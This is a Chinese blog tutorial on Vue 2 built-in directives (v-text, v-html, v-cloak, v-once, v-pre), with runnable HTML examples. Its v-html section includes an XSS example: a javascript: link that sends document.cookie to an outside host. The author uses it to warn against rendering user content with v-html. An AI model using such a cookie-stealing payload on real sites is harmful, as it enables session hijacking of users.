Vue的内置指令

最新推荐文章于 2022-11-01 17:15:12 发布

_洋

最新推荐文章于 2022-11-01 17:15:12 发布

阅读量381

点赞数

分类专栏： vue2+vue3 文章标签： vue.js 前端 javascript

本文链接：https://blog.youkuaiyun.com/mantou_riji/article/details/125857691

版权

vue2+vue3 专栏收录该内容

51 篇文章

订阅专栏

文章目录

常用的指令
v-text
v-html
- v-html作用
- 安全性问题
v-cloak
v-once
v-pre

常用的指令

v-bind :单向绑定解析表达式,可简写为:xxx
v-model :双向数据绑定
v-for :遍历数组/对象/字符串
v-on :绑定事件监听,可简写为@
v-if :条件渲染（动态控制节点是否存在)
v-else:条件渲染（动态控制节点是否存存在)
v-show:条件渲染（动态控制节点是否展示)

v-text

v-text指令的作用：向其所在的节点中渲染文本内容。

<!DOCTYPE html>
<html lang="en">
  <head>
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2>{{name}}</h2>
       <h2 v-text="name"></h2>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;

      new Vue({
        el: "#root",
        data: {
          name:"yang"
        },
       
      });
    </script>
  </body>
</html>

在这里插入图片描述

v-text与插值语法的区别:

v-text会替换掉节点中的内容，{{xxx}}则不会。

<!DOCTYPE html>
<html lang="en">
  <head>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
      <h2> 你好，{{name}}</h2>
       <h2 v-text="name"> 你好，</h2>
       <div>{{hello}}</div>
       <div v-text ="hello"></div>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;

      new Vue({
        el: "#root",
        data: {
          name:"yang",
          hello:'<h2>hello</h2>'
        },
       
      });
    </script>
  </body>
</html>

在这里插入图片描述
3. v-text不会解析html字符串内容，只会当成普通字符串进行解析

v-html

v-html作用

v-html作用向指定节点中渲染包含html结构的内容
与v-text不同的是可以解析html字符串内容。

<!DOCTYPE html>
<html lang="en">
  <head>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
       <div v-text ="hello"></div>
       <div v-html ="hello"></div>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;

      new Vue({
        el: "#root",
        data: {
          name:"yang",
          hello:'<h2>hello</h2>'
        },
       
      });
    </script>
  </body>
</html>

在这里插入图片描述

安全性问题

由于html可以解析html字符串，那么可以通过如下方法将你的cookie信息传递给另一个网站。

eg：

<!DOCTYPE html>
<html lang="en">
  <head>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
       <div v-text ="hello"></div>
       <div v-html ="hello"></div>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;

      new Vue({
        el: "#root",
        data: {
          name:"yang",
          hello:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>hello,快来看看</a>'
        },
       
      });
    </script>
  </body>
</html>

该段操作直接将你的cookie信息直接给www.baidu.com了。

(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上!

##与插值语法的区别:
(1) v-html会替换掉节点中所有的内容，{{xx}}则不会。
(2) v-html可以识别html结构。

v-cloak

问题产生

在这里插入图片描述
js的代码是从上向下执行的，所以如果引入vue.js花费大量时间，那么网页页面就一直停留在未解析的页面，给用户的观感不好。我们希望，要不页面不显示，要是显示就应该是解析好的状态。

两种解决办法：

将引入vue.js的语句放在head标签中

由于js从上向下解析的特性，只要vue.js放在模板html之前就一定会先引入vue.js，再去显示模板html页面，这样就不会出现未解析的页面

使用v-cloak指令

使用css配合v-cloak可以解决该问题，

<!DOCTYPE html>
<html lang="en">
  <head>
    <style>
      [v-cloak]{
        display: none;
      }
    </style>
  </head>
  <body>
    <div id="root">
       <div v-cloak>{{name}}</div>
    </div>

    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript">
      Vue.config.productionTip = false;

      new Vue({
        el: "#root",
        data: {
          name:"yang",
          
        },
       
      });
    </script>
  </body>
</html>

v-cloak会在Vue实例创建完毕并接管容器后被删掉，css样式就失效了，页面就能正常显示了。
通过这种方式，实现vue实例创建后才展示页面，就不会未解析页面显示的问题。

总结

v-cloak指令（没有值）:

作用：使用css配合v-cloak可以解决网速慢时页面展示出未解析的页面的问题。
原理： v-cloak本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。

v-once

1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

即通过 v-once可以读取数据的初始值

<!DOCTYPE html>
<html lang="en">
  <head>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
       <div v-once>n初始值是{{n}}</div>
       <div>当前的n值是{{n}}</div>
       <button @click="n++">点我n+1</button>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;

      new Vue({
        el:"#root",
        data:{
          n:1
        }
      });
    </script>
  </body>
</html>

在这里插入图片描述

v-pre

v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点，会加快编译。

<!DOCTYPE html>
<html lang="en">
  <head>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <div id="root">
       <div v-pre>没有动态值</div>
       <div v-pre>当前的n值是{{n}}</div>
       <div>当前的n值是{{n}}</div>
       <button @click="n++">点我n+1</button>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false;

      new Vue({
        el:"#root",
        data:{
          n:1
        }
      });
    </script>
  </body>
</html>

在这里插入图片描述